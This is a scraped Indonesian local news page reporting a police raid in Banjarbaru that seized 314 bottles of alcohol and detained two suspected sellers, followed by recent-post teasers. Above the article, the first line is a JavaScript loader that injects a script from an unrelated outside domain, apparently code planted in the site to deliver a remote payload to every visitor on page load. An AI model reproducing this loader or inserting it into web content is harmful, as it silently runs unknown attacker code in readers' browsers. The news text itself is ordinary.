(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Dua Pria Bersama Ratusan Miras Diangkut dari Eks Lokalisasi Pembatuan


KANALKALIMANTAN.COM, BANJARBARU – Patroli Polsek Banjarbaru Barat menyasar kawasan eks lokalisasi Pembatuan jalan Kenanga, Kecamatan Landasan Ulin, Kota Banjarbaru, berhasil mengamankan ratusan botol miras berbagai merk, Rabu (25/3/2020) kemarin.

Kapolsek Banjarbaru Barat AKP Andri Hutagalung mengatalan total barang bukti yang diamankan mencapai 314 botol miras. Dijelaskan Kapolsek, ratusan botol miras ini didapati dari sebuah warung di eks lokaliasai Pembatuan.

“Miras ini disimpan pemiliknya di belakang warung,” terang AKP Andri Hutagalung, Kamis (26/3/2020) pagi.

Selain mengamankan barang bukti miras, kata AKP Andri, pihaknya mengamankan dua laki-laki, yang diduga sebagai penjual miras. Kedua pria ini ialah AW (40) warga Kediri dan S warga Kabupaten Malang, Jawa Timur.

Razia Polsek Banjarbaru Barat di eks lokalisasi Pembatuan. foto: polsek banjarbaru barat

“Seluruh barang bukti dan pemilik dibawa ke Polsek Banjarbaru Barat, untuk di data dan dilakukan proses hukum lebih lanjut,” tegasnya.

Para pelaku penjual miras dijerat dengan pasal yang dikenakan tindak pidana pelaku usaha yang memperdagangkan minuman beralkohol tanpa memiliki surat ijin usaha perdagangan minuman beralkohol (SIUP-MB).

Pada Pasal 106 junto pasal 24 ayat (1) UU RI NO 7 Th 2014 tentang perdagangan, junto  Pasal 49 Ayat (1) Permendag Nomor : 20 / M-DAG/PER/4/2014 tentang Pengendalian dan pengawasan terhadap pengadaan,peredaran dan penjualan minuman Beralkohol. Dengan ancaman hukuman, maksimal 15 tahun penjara. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

5 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

6 jam ago

This website uses cookies.